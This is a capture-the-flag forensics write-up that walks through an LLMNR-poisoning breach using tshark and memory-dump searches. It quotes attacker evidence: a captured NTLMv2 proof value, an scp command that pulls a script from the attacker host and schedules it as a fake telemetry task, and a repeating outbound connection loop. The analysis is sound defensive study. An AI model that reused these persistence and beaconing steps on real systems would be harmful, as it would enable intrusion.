de monne breach

deadface ctf 2026 · 19 oct 2026

these challenges all used the same evidence: an 8gb memory dump and a pcap from nathan's workstation at de monne financial.

challenge 1 of 7

the workstation in the middle

challenge description

The compromised De Monne employee was working at a Windows device. What is that device's hostname? Preserve the capitalization shown in memory.

this one wanted the windows hostname. instead of setting up volatility i scanned the raw dump for COMPUTERNAME=, which is in every process's environment block, in ascii and utf-16.

needle = "COMPUTERNAME=".encode("utf-16-le")
# scan in 64mb chunks with overlap, decode until a real 0x0000 unit

my first parser split on \x00\x00 and cut off the last character, giving DMF-WS11-04. the ascii copies all said DMF-WS11-042, and after fixing the parser the utf-16 ones did too. flag (capitals kept):

deadface{DMF-WS11-042}

challenge 2 of 7

the typo that bit

challenge description

Nathan's workstation tried to reach an executive share through a misspelled server name. Identify one mistyped server hostname visible in memory. Submit the hostname, without slashes or the share name.

this asked for the mistyped server name nathan's machine tried to reach for an executive share. searching the same dump for unc paths found:

\\dmf-field-01\executive
rundll32 davclnt.dll,DavSetCookie dmf-field-01 http://dmf-field-01/executive

the real server is dmf-file-01, so field is the typo. the second line is windows retrying over webdav. flag:

deadface{dmf-field-01}

challenge 3 of 7

uninvited guest

challenge description

Nathan's workstation asked the local network to resolve a file-server name. Which corporate IPv4 address supplied the suspicious answer?

since dmf-field-01 doesn't exist, windows asks the local network for it over llmnr. the answer comes from a workstation, not a server:

tshark -r demonne.pcap -Y llmnr -T fields \
  -e frame.number -e dns.flags.response -e dns.qry.name -e dns.a
# 1463  True  dmf-field-01  10.77.10.66

flag:

deadface{10.77.10.66}

challenge 4 of 7

name to a face

challenge description

A poisoned name answer prompted an SMB authentication attempt. Which username did the workstation send?

list the ntlm authenticate messages (type 3). the first one after frame 1463 is frame 1489, sent to the attacker for cifs/dmf-field-01:

tshark -r demonne.pcap -Y "ntlmssp.messagetype == 3" -T fields \
  -e frame.number -e ntlmssp.auth.username
# 1489  nkessler

flag:

deadface{nkessler}

challenge 5 of 7

challenge accepted

challenge description

Find Nathan's first SMB NTLMv2 authentication after the poisoned name response. What is its 16-byte NTProofStr?

same frame, 1489. the ntproofstr is in the ntlmv2 response:

tshark -r demonne.pcap -Y "frame.number == 1489" -V | grep NTProofStr
# NTProofStr: 5a2342014fe7f28997ce4dcd09f6b7f8

flag:

deadface{5a2342014fe7f28997ce4dcd09f6b7f8}

challenge 6 of 7

borrowed script

challenge description

The workstation obtained telemetry.ps1 from another machine before scheduling it. What internal IPv4 address supplied the script? Submit the source username and the IP address.

searching the dump for the task name WindowsTelemetryCheck found the powershell history:

scp d34th@10.77.10.66:/home/d34th/telemetry.ps1 C:\ProgramData\WindowsCache\
Register-ScheduledTask -TaskName 'WindowsTelemetryCheck' ...

it's the same ip as the llmnr responder. flag, as username@IP:

deadface{d34th@10.77.10.66}

challenge 7 of 7

false telemetry

challenge description

WindowsTelemetryCheck runs a PowerShell script that repeatedly tests a connection. Identify the destination IPv4 address, TCP port, and delay between attempts.

the history doesn't include the script contents, so i searched the dump for Test-NetConnection. it only appears 19 times and one of them is the script:

for ($i = 0; $i -lt 24; $i++) {
    Test-NetConnection -ComputerName 167.172.132.224 -Port 4815 -InformationLevel Quiet | Out-Null
    Start-Sleep -Seconds 30
}

flag, as IP_PORT_SECONDS:

deadface{167.172.132.224_4815_30}

yes, i obviously used some ai to help draft these write-ups.